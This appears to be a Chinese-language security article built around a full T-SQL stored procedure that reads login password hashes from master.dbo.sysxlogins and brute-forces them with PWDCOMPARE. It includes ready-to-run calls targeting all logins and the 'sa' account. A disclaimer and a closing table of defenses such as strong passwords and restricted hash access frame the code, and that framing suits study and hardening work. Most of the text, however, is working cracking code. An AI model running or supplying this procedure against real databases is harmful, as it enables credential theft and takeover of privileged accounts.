本文僅供**安全研究、滲透測試授權範圍內、或理解攻擊原理以加強防禦**之用。**嚴禁用於未授權系統**。生產環境請務必啟用強密碼策略、鎖定策略、審計登入失敗、限制 SA 遠程登入。
此存儲過程 `p_GetPassWord` 採用**窮舉法 (Brute Force)** 破解 SQL Server 登入密碼:
IF EXISTS (SELECT * FROM dbo.sysobjects
WHERE id = OBJECT_ID(N'[dbo].[p_GetPassWord]') AND OBJECTPROPERTY(id, N'IsProcedure') = 1)
DROP PROCEDURE [dbo].[p_GetPassWord];
GO
CREATE PROC p_GetPassWord
@username SYSNAME = NULL, -- 指定用戶,NULL 為全庫用戶
@pwdlen INT = 2 -- 最大嘗試長度 (預設 2 位含以下)
AS
BEGIN
SET @pwdlen = CASE WHEN ISNULL(@pwdlen,0) < 1 THEN 1 ELSE @pwdlen - 1 END;
-- 建立 0-255 數字輔助表
SELECT TOP 255 ID = IDENTITY(INT, 0, 1) INTO #t FROM syscolumns;
ALTER TABLE #t ADD CONSTRAINT PK_#t PRIMARY KEY (ID);
-- 取得目標用戶密碼雜湊
SELECT name, password,
type = CASE WHEN xstatus & 2048 = 2048 THEN 1 ELSE 0 END, -- 1=SQL 登入, 0=Windows
jm = CASE WHEN password IS NULL THEN 1 ELSE 0 END, -- 1=已破解/無密碼
pwdstr = CAST('' AS SYSNAME), -- 破解出的明文
pwd = CAST('' AS VARCHAR(8000)) -- 明文 ASCII 碼串
INTO #pwd
FROM master.dbo.sysxlogins a
WHERE srvid IS NULL AND name = ISNULL(@username, name);
DECLARE @s1 VARCHAR(8000), @s2 VARCHAR(8000), @s3 VARCHAR(8000), @l INT;
SELECT @l = 0, @s1 = 'CHAR(aa.id)', @s2 = 'CAST(aa.id AS VARCHAR)', @s3 = ',#t aa';
-- 第 1 位字元嘗試
EXEC('
UPDATE pwd SET jm=1, pwdstr=' + @s1 + ', pwd=' + @s2 + '
FROM #pwd pwd' + @s3 + '
WHERE pwd.jm=0 AND PWDCOMPARE(' + @s1 + ', pwd.password, pwd.type)=1
');
-- 多位字元遞迴嘗試 (動態構建 CHAR(aa.id)+CHAR(bb.id)+...)
WHILE EXISTS(SELECT 1 FROM #pwd WHERE jm=0 AND @l < @pwdlen)
BEGIN
SELECT @l = @l + 1,
@s1 = @s1 + '+CHAR(' + CHAR(@l/26+97) + CHAR(@l%26+97) + '.id)',
@s2 = @s2 + '+'','' + CAST(' + CHAR(@l/26+97) + CHAR(@l%26+97) + '.id AS VARCHAR)',
@s3 = @s3 + ',#t ' + CHAR(@l/26+97) + CHAR(@l%26+97);
EXEC('
UPDATE pwd SET jm=1, pwdstr=' + @s1 + ', pwd=' + @s2 + '
FROM #pwd pwd' + @s3 + '
WHERE pwd.jm=0 AND PWDCOMPARE(' + @s1 + ', pwd.password, pwd.type)=1
');
END
SELECT 用戶名 = name, 密碼 = pwdstr, 密碼ASCII = pwd FROM #pwd;
END
GO
-- 破解所有用戶 4 位以內密碼
EXEC p_GetPassWord @pwdlen = 4;
-- 破解特定用戶 6 位以內密碼
EXEC p_GetPassWord @username = 'sa', @pwdlen = 6;
| 攻擊向量 | 防禦措施 | 實施優先級 |
|---|---|---|
| 弱密碼 (短、純數字、常見字典) | 強制密碼策略:長度≥12、大小寫+數字+特殊字元、定期輪換 | ★★★★★ |
| SA 帳號暴露於網路 | 禁用 SA、改用 Windows 驗證、限制登入 IP、非必要不開放 1433 對外 | ★★★★★ |
| 離線雜湊破解 (備份檔、同步副本洩露) | 備份加密 (TDE/備份壓縮加密)、嚴格權限控管備份檔存取 | ★★★★☆ |
| 線上窮舉 (登入嘗試) | 登入失敗鎖定策略、IP 封鎖、審計登入失敗事件、WAF/防火牆限流 | ★★★★☆ |
| 系統表權限過大 (sysxlogins 可讀) | 最小權限原則,普通登入無權查詢 master.dbo.sysxlogins | ★★★★☆ |
此存儲過程展示了離線密碼雜湊窮舉破解的經典邏輯。防禦核心在於:**消除弱密碼、隔離高權限帳號、保護雜湊不外洩、升級雜湊演算法**。資料庫安全是系統安全的最後一道防線,容不得半點鬆懈。